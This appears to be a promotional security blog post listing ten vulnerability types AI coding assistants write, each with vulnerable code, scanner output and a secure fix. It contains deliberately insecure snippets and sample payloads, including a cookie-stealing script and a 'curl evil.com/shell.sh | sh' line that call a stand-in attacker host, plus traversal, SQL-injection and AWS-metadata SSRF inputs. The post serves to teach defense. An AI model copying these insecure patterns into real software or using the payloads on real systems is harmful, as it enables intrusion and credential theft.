Top 10 Security Vulnerabilities GitHub Copilot Keeps Writing
GitHub Copilot has changed how developers write code. With 85% of developers now using AI coding tools and AI generating 46% of all new code, the productivity gains are undeniable. But there is a problem nobody talks about enough: Copilot keeps writing the same security vulnerabilities over and over.
According to Veracode's 2025 report, 45% of AI-generated code introduces security flaws. An ACM study found that 29.5% of Python Copilot snippets contain CWE weaknesses. And researchers measured an 86% failure rate for XSS defense in AI-generated code.
I have spent months analyzing the code that Copilot, ChatGPT, and Cursor generate across real-world projects. The same 10 vulnerability types appear again and again. In this post, I am going to show you each one with real vulnerable code, explain why it is dangerous, show how mycop catches it, and give you the secure alternative.
1. SQL Injection via String Formatting
CWE-89 · Severity: Critical
This is the single most common vulnerability Copilot writes. Ask it for any database query, and you will almost certainly get string interpolation instead of parameterized queries.
Vulnerable code (Python)def get_user(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
return cursor.fetchone()
def search_products(category):
sql = "SELECT * FROM products WHERE category = '%s'" % category
db.execute(sql)
Why it is dangerous: An attacker can pass ' OR '1'='1' -- as the username, which transforms the query into SELECT * FROM users WHERE username = '' OR '1'='1' --', returning every row in the table. Worse, they can chain ; DROP TABLE users; -- to destroy data.
mycop detection: PY-SEC-001 / PY-SEC-042 CRITICAL
mycop detects f-strings, % formatting, and .format() calls inside SQL query strings. It flags any string concatenation pattern used with database execute methods.
$ mycop scan app.py
app.py:2
CRITICAL sql injection via string formatting (CWE-89)
1 | def get_user(username):
-> 2 | query = f"SELECT * FROM users WHERE username = '{username}'"
3 | cursor.execute(query)
Possible SQL injection detected. User input may be directly
interpolated into a SQL query string.
Fix: Use parameterized queries with placeholders
Secure alternative
def get_user(username):
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,)
)
return cursor.fetchone()
2. Cross-Site Scripting (XSS)
CWE-79 · Severity: High
Copilot has an 86% failure rate when it comes to XSS defense. It consistently generates code that renders user input as raw HTML without sanitization.
Vulnerable code (JavaScript / React)// React component
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />;
}
// Express route
app.get('/search', (req, res) => {
res.send(`<h1>Results for: ${req.query.q}</h1>`);
});
Why it is dangerous: An attacker injects <script>document.location='https://evil.com/steal?c='+document.cookie</script> into the text prop or the q parameter. Every user who views the page has their session cookie exfiltrated.
mycop detection: JS-SEC-001 / JS-SEC-010 / JS-SEC-041 HIGH
mycop detects dangerouslySetInnerHTML usage, innerHTML assignments, and unsanitized template literals in response bodies.
import DOMPurify from 'dompurify';
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(text)
}} />;
}
// Or better: let React handle escaping
function Comment({ text }) {
return <div>{text}</div>;
}
3. Hardcoded Secrets and API Keys
CWE-798 · Severity: Critical
Research shows that 6.4% of Copilot-assisted repositories leak secrets — 40% higher than repositories without AI assistance. Every time you ask Copilot to connect to an API, the key ends up in source code.
Vulnerable code (Python)API_KEY = "sk-proj-abc123def456ghi789jkl012mno345" DATABASE_URL = "postgresql://admin:SuperSecret123@db.example.com/prod" JWT_SECRET = "my-super-secret-jwt-key-do-not-share" client = OpenAI(api_key="sk-1234567890abcdef")
Why it is dangerous: Once committed to version control, secrets are exposed to everyone with repository access and persist in git history even if deleted later. Automated scrapers on GitHub harvest exposed keys within minutes.
mycop detection: PY-SEC-003 / PY-SEC-034 / PY-SEC-043 / JS-SEC-004 / JS-SEC-034 CRITICAL
mycop detects hardcoded credentials including API keys, passwords, database connection strings, JWT secrets, and private keys using pattern matching for common key formats.
import os API_KEY = os.environ["OPENAI_API_KEY"] DATABASE_URL = os.environ["DATABASE_URL"] JWT_SECRET = os.environ["JWT_SECRET"] client = OpenAI() # reads OPENAI_API_KEY from env automatically
4. Command Injection
CWE-78 · Severity: Critical
Copilot loves os.system() and child_process.exec(). It consistently builds shell commands with string concatenation, creating direct paths to remote code execution.
import os
def convert_image(filename, output_format):
os.system(f"convert {filename} output.{output_format}")
def ping_host(host):
os.system("ping -c 1 " + host)
Vulnerable code (JavaScript)
const { exec } = require('child_process');
function runDiagnostic(hostname) {
exec(`nslookup ${hostname}`, (err, stdout) => {
console.log(stdout);
});
}
Why it is dangerous: If host is ; cat /etc/passwd, the shell executes both commands. For a web-facing application, this is full remote code execution — the attacker controls your server.
mycop detection: PY-SEC-002 / PY-SEC-045 / PY-SEC-050 / JS-SEC-016 CRITICAL
mycop detects os.system(), os.popen(), subprocess.call() with shell=True, and child_process.exec() with string interpolation.
import subprocess
def convert_image(filename, output_format):
subprocess.run(
["convert", filename, f"output.{output_format}"],
check=True
)
def ping_host(host):
subprocess.run(["ping", "-c", "1", host], check=True)
5. Insecure Deserialization
CWE-502 · Severity: Critical
Ask Copilot to load data from a file or network, and it reaches for pickle in Python or node-serialize in JavaScript without hesitation.
import pickle
def load_session(data):
return pickle.loads(data)
def load_model(path):
with open(path, 'rb') as f:
return pickle.load(f)
Why it is dangerous: pickle executes arbitrary Python code during deserialization. An attacker can craft a payload that runs any system command when unpickled. This is not a theoretical risk — it is trivially exploitable.
mycop detection: PY-SEC-007 / JS-SEC-009 CRITICAL
mycop detects usage of pickle.loads(), pickle.load(), yaml.load() without SafeLoader, and JavaScript deserialization with node-serialize.
import json
def load_session(data):
return json.loads(data)
# For ML models, use safetensors or ONNX format
from safetensors import safe_open
def load_model(path):
with safe_open(path, framework="pt") as f:
return {k: f.get_tensor(k) for k in f.keys()}
6. Eval/Exec Injection
CWE-95 · Severity: Critical
Copilot regularly suggests eval() for parsing JSON, evaluating math expressions, or dynamically executing code. In every case, there is a safer alternative.
// "Parse" JSON the wrong way
function parseData(input) {
return eval('(' + input + ')');
}
// Calculator
app.post('/calculate', (req, res) => {
const result = eval(req.body.expression);
res.json({ result });
});
Vulnerable code (Python)
def evaluate_formula(formula):
return eval(formula)
def run_user_code(code_string):
exec(code_string)
Why it is dangerous: eval() executes any code. In Node.js, an attacker sends require('child_process').execSync('whoami').toString() as the expression. In Python, __import__('os').system('curl evil.com/shell.sh | sh'). Full remote code execution.
mycop detection: PY-SEC-005 / JS-SEC-002 / JS-SEC-049 CRITICAL
mycop flags all usage of eval() and exec() in Python, JavaScript, Go, and Java, with context-aware detection for user-controlled input.
// JavaScript: use JSON.parse for data, mathjs for expressions
const math = require('mathjs');
function parseData(input) {
return JSON.parse(input);
}
app.post('/calculate', (req, res) => {
const result = math.evaluate(req.body.expression);
res.json({ result });
});
# Python: use ast.literal_eval for data structures
import ast
def evaluate_formula(formula):
return ast.literal_eval(formula)
7. Path Traversal
CWE-22 · Severity: High
Copilot generates file-serving code that trusts user-supplied filenames without any validation, allowing attackers to read arbitrary files from the server.
Vulnerable code (Python)from flask import Flask, request, send_file
app = Flask(__name__)
@app.route('/download')
def download():
filename = request.args.get('file')
return send_file(f'/uploads/{filename}')
Vulnerable code (JavaScript)
const express = require('express');
const path = require('path');
const fs = require('fs');
app.get('/files/:name', (req, res) => {
const filePath = path.join('/uploads', req.params.name);
res.sendFile(filePath);
});
Why it is dangerous: An attacker requests /download?file=../../etc/passwd or /files/..%2F..%2Fetc%2Fpasswd. The .. sequences traverse up the directory tree, allowing the attacker to read any file on the system including configuration files, credentials, and private keys.
mycop detection: PY-SEC-006 / PY-SEC-037 / JS-SEC-006 / JS-SEC-037 HIGH
mycop detects file operations that use user-controlled input without path validation, including zip extraction (Zip Slip) patterns.
import os
from flask import Flask, request, send_file, abort
UPLOAD_DIR = '/uploads'
@app.route('/download')
def download():
filename = request.args.get('file')
safe_path = os.path.realpath(os.path.join(UPLOAD_DIR, filename))
if not safe_path.startswith(os.path.realpath(UPLOAD_DIR)):
abort(403)
return send_file(safe_path)
8. Insecure Cryptography
CWE-327/328 · Severity: High
Copilot routinely suggests MD5 and SHA1 for password hashing, DES for encryption, and ECB mode for block ciphers. All of these have been broken for years.
Vulnerable code (Python)import hashlib
def hash_password(password):
return hashlib.md5(password.encode()).hexdigest()
def verify_password(password, stored_hash):
return hashlib.sha1(password.encode()).hexdigest() == stored_hash
Vulnerable code (JavaScript)
const crypto = require('crypto');
function hashPassword(password) {
return crypto.createHash('md5').update(password).digest('hex');
}
// DES encryption
const cipher = crypto.createCipheriv('des-ecb', key, null);
Why it is dangerous: MD5 produces collisions in seconds. SHA1 is considered broken since 2017. Neither applies salting or key stretching, making rainbow table attacks trivial. DES has a 56-bit key — it can be brute-forced in hours. ECB mode leaks patterns in encrypted data.
mycop detection: PY-SEC-017–PY-SEC-021 / JS-SEC-017–JS-SEC-022 HIGH
mycop detects MD5, SHA1, DES, RC4, ECB mode, and other weak cryptographic constructs across Python, JavaScript, Go, and Java.
import bcrypt
def hash_password(password):
return bcrypt.hashpw(password.encode(), bcrypt.gensalt())
def verify_password(password, stored_hash):
return bcrypt.checkpw(password.encode(), stored_hash)
# For encryption, use AES-256-GCM
from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher = Fernet(key)
9. Server-Side Request Forgery (SSRF)
CWE-918 · Severity: High
Copilot generates HTTP request code that passes user-supplied URLs directly to request libraries without any validation or allowlisting.
Vulnerable code (Python)import requests
from flask import request
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url)
return response.text
Vulnerable code (JavaScript)
const axios = require('axios');
app.get('/proxy', async (req, res) => {
const response = await axios.get(req.query.url);
res.json(response.data);
});
Why it is dangerous: An attacker sends /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ to access AWS instance metadata and steal IAM credentials. They can also probe internal networks, access internal services, and read local files via file:// URLs.
mycop detection: PY-SEC-011 / JS-SEC-007 HIGH
mycop detects HTTP requests where the URL is derived from user input without validation or allowlisting.
from urllib.parse import urlparse
ALLOWED_HOSTS = {'api.example.com', 'cdn.example.com'}
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
abort(403, "Host not allowed")
if parsed.scheme not in ('http', 'https'):
abort(403, "Scheme not allowed")
response = requests.get(url, timeout=5)
return response.text
10. Insecure Random Number Generation
CWE-330 · Severity: Medium
Copilot uses Math.random() and Python's random module for generating tokens, session IDs, and passwords. These are not cryptographically secure — their output is predictable.
function generateToken() {
return Math.random().toString(36).substring(2);
}
function generateSessionId() {
let id = '';
for (let i = 0; i < 32; i++) {
id += Math.floor(Math.random() * 16).toString(16);
}
return id;
}
Vulnerable code (Python)
import random
import string
def generate_password(length=16):
chars = string.ascii_letters + string.digits
return ''.join(random.choice(chars) for _ in range(length))
def generate_reset_token():
return str(random.randint(100000, 999999))
Why it is dangerous: Math.random() uses a PRNG that can be reverse-engineered from its output. Python's random module uses the Mersenne Twister, which can be fully reconstructed from 624 outputs. An attacker who observes enough tokens can predict future ones, allowing session hijacking or password reset takeover.
mycop detection: PY-SEC-004 / JS-SEC-005 MEDIUM
mycop detects usage of Math.random() and random.choice()/random.randint() in security-sensitive contexts like token and password generation.
// JavaScript: use crypto module
const crypto = require('crypto');
function generateToken() {
return crypto.randomBytes(32).toString('hex');
}
# Python: use secrets module
import secrets
def generate_password(length=16):
chars = string.ascii_letters + string.digits
return ''.join(secrets.choice(chars) for _ in range(length))
def generate_reset_token():
return secrets.token_urlsafe(32)
The Pattern: Why Copilot Keeps Making These Mistakes
All 10 vulnerabilities share the same root cause: Copilot optimizes for functionality, not security. It generates code that works correctly for the happy path but ignores adversarial inputs entirely.
Three factors make this worse:
- Training data bias. Stack Overflow answers and tutorials prioritize simplicity. The top answer for "how to hash a password in Python" may still use MD5. Copilot learns from what is popular, not what is secure.
- No threat modeling. Copilot has no concept of an attacker. It does not reason about who will call a function or what malicious input they might provide.
- Developer trust. Studies show developers who use AI assistants are more confident their code is secure, even when it is not. The fluency and correctness of the output creates false assurance.
The numbers tell the story: 10,000+ new AI-introduced security findings per month are being reported across organizations using AI coding tools. The volume is increasing as AI-generated code becomes a larger share of all production code.
Catch All 10 Automatically with mycop
mycop is an open-source security scanner built specifically for the vulnerabilities that AI coding assistants introduce. It ships with 200 built-in rules covering OWASP Top 10 and CWE Top 25, supports Python, JavaScript, TypeScript, Go, and Java, and requires zero configuration.
# Install curl -fsSL https://raw.githubusercontent.com/AbdumajidRashidov/mycop/main/install.sh | sh # Scan your project mycop scan . # Auto-fix vulnerabilities with AI mycop fix . --dry-run # Scan only changed files (great for CI) mycop scan --diff .
Every vulnerability in this post is detected by mycop's built-in rules. No custom configuration needed — install and scan.
Stop shipping Copilot's vulnerabilities to production
Run mycop on your codebase and see how many of these 10 vulnerabilities are already in your code.
curl -fsSL https://raw.githubusercontent.com/AbdumajidRashidov/mycop/main/install.sh | sh && mycop scan .
Star on GitHub
mycop is MIT licensed and open source. Scanning requires no API keys and runs entirely offline. Auto-fix requires an AI provider (Claude, OpenAI, or Ollama). It runs on macOS, Linux, and Windows.